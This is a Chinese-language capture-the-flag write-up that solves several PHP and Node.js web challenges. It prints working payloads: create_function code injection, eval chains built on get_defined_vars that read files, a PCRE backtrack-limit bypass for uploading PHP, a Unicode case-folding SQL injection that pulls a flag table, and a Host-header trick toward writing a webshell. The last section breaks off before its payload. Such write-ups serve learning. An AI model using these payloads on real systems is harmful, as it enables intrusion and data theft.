code breaking writeup

前言

知道这个题目已经挺久的了,一直没充足的时间来练习和学习里面的干货。正好最近找完工作,在家有一周的缓冲时间,所以记录下解题过程。

function

打开题目指向的url可以看到一段代码:

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__); // 满足正则显示脚本源代码
} else {
    $action('', $arg);
}

从正则语句中知道 $action 参数的首字母排除 a-z 0-9 和 _ ,然后将 $action 的值当作方法结合 $arg 造成参数执行。

第一时间想到的是 create_function 函数,参考查的使用方法(【create_function()代码注入】)构造好 payload : ?action=\create_function&arg=0;}phpinfo();/*

可以看到,在 payload 中存在一个 \,这是表示使用顶级命名空间下的 create_function 函数,PHP里系统函数都是属于顶级命名空间标识(第一个 \ )下,所以在编写PHP脚本时,一般不会特意的加上它。

接着我们读取题目中所需的flag:

?action=\create_function&arg=0;}print_r(scandir('../'));/*
?action=\create_function&arg=0;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));/*

pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
}

参考:PHP利用PCRE回溯次数限制绕过某些安全限制

看正则是判断用户输入的内容有没有PHP代码,如果没有,则写入文件。

P牛给出的 POC.py 利用了正则引擎回溯的特性,使之超出回溯次数上限默认的100万次条件。

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit

$ php -r "echo var_dump(ini_get('pcre.backtrack_limit'));"
string(7) "1000000"

phplimit

<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
} else {
    show_source(__FILE__);
}

这题是要绕过正则,然后构造 eval 参数去读flag。

正则解析:[^\W]+ 任意字符、\((?R)?\) (参考递归模式)表示递归括号内的内容。

也就是说,如果我们传递 echo(); 正则后就剩下 ; 符合,如果加参数 echo('123'); 则原样返回,这样在于 ; 全等判断一定是不会为 true。

参考其他大佬的 writeup 存在两种解法:

?1=print_r(scandir(%27../%27));//&code=eval(implode(reset(get_defined_vars())));

?1=readfile(%27../OpenApi/server.php%27);//&code=eval(implode(reset(get_defined_vars())));

通过 get_defined_vars 函数查看接收所有已定义变量所组成的数组,reset 函数设置读取数组键名( _GET 默认是排在数组首位),在通过 implode 函数将一个一维数组的值转化为字符串通过 eval 函数执行。

其他大佬writeup中的payload:

?code=print_r(scandir(dirname(chdir(dirname(getcwd())))));

在Apache中还可以利用getallheaders去获取http头。另外在php 7.1下,getenv()函数新增了无参数时会获取服务段的env数据

nodechr

从代码上看,这应该是一个SQL注入绕过题。

可以看到在 safeKeyword 函数中,限制了 select union -- ; 字符串。

定位到 toUpperCase 字符串值转换为大写函数,并参考:Fuzz中的javascript大小写特性

看了下P牛在文章中的 fuzz 脚本,String.fromCodePoint() 方法会返回有效码位Unicode 编码字符串。码位是组成代码页的数值,有效范围是 00x10FFFF

char: I == ı == %C4%B1char: S == ſ == %C5%BF 这两个特殊字符可转成对应大写字符IS,反过来在转小写上 char: k == K == %E2%84%AA 这也是个特殊字符。

注意,这里是要返回表中的 flag 哦,所以注入登录没有意义,必须要用 SQL 查询出 flag,写入 ctx.session.user 最终在 ADMIN 页面显示。

username=' unıon ſelect 1,flag,3 from flags/*&password=123

lumenserial

看下具体代码:

<?php
if(isset($_GET['read-source'])) {
    exit(show_source(__FILE__));
}

define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));

if(!is_dir(DATA_DIR)) {
    mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);

$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
/*省略html代码*/
<?php if(!empty($_POST) && $domain):
    $command = sprintf("dig -t A -q %s", escapeshellarg($domain));
    $output = shell_exec($command);

    $output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);

    $log_name = $_SERVER['SERVER_NAME'] . $log_name;
    if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
        file_put_contents($log_name, $output);
    }

    echo $output;
endif; ?>

分析一下代码,页面接收 POST 请求 $_POST['domain']$_POST['log'],随后进行字符串构造在执行 shell_exec 函数,返回结果在通过 file_put_contents 函数写入日志文件。

关键点:

  • 绕过判断文件名后缀

  • 将内容写到文件中去

这里参考了一位大佬的:技巧,php在处理路径的时候,会递归的删除掉路径中存在的 /.

这样就导致了 pathinfo()PATHINFO_EXTENSION 获取的文件名后缀为空,

所以 !in_arraytrue ,这样就成功进入 file_put_contents 函数这里。

这样虽然绕过了文件名,可是返回的内容如何写shell呢? 文件名是 $_SERVER['SERVER_NAME']$log_name 拼接的,可控的 $domain 最终的返回结果会转义 <> 为html实体符。

经过 google 搜到 代码审计就该这么来 - 2 Mlecms 注入 相关文章中对 $_SERVER['SERVER_NAME'] 的利用。

及参考:WordPress Core 4.6 REC

$_SERVER['SERVER_NAME']被拼进了sql语句,$_SERVER['SERVER_NAME']是什么鬼,能吃么?能伪造么? 答案是肯定的 来看看php官方对SERVER_NAME的定义

中文版

‘SERVER_NAME’ 当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。

英文版

‘SERVER_NAME’ The name of the server host under which the current script is executing. If the script is running on a virtual host, this will be the value defined for that virtual host.

Note: Under Apache 2, you must set UseCanonicalName = On and ServerName. Otherwise, this value reflects the hostname supplied by the client, which can be spoofed. It is not safe to rely on this value in security-dependent contexts.

有没有发现 英文版多了点东西 简单翻译一下: 在apache2 下 如果你没有设置ServerName或者没有把UseCanonicalName 设置为 On的话,这个值就会是客户端提供的hostname 不安全哟

那么这个客户端提供的hostname是什么鬼呢,其实就是http包中的Host: 字段的值

所以这里最终利用字符串拼接构造伪协议,将 dig 查询结果 写入服务器。

本地试一下,当http亲求传递 Host: php 时服务器接收如下:

Array
(
    [HTTP_HOST] => php
    [CONTENT_LENGTH] => 88
    [HTTP_CACHE_CONTROL] => max-age=0
    [HTTP_UPGRADE_INSECURE_REQUESTS] => 1
    [HTTP_DNT] => 1
    [CONTENT_TYPE] => application/x-www-form-urlencoded
......

构造参数实现文件上传:

参考:
谈一谈php://filter的妙用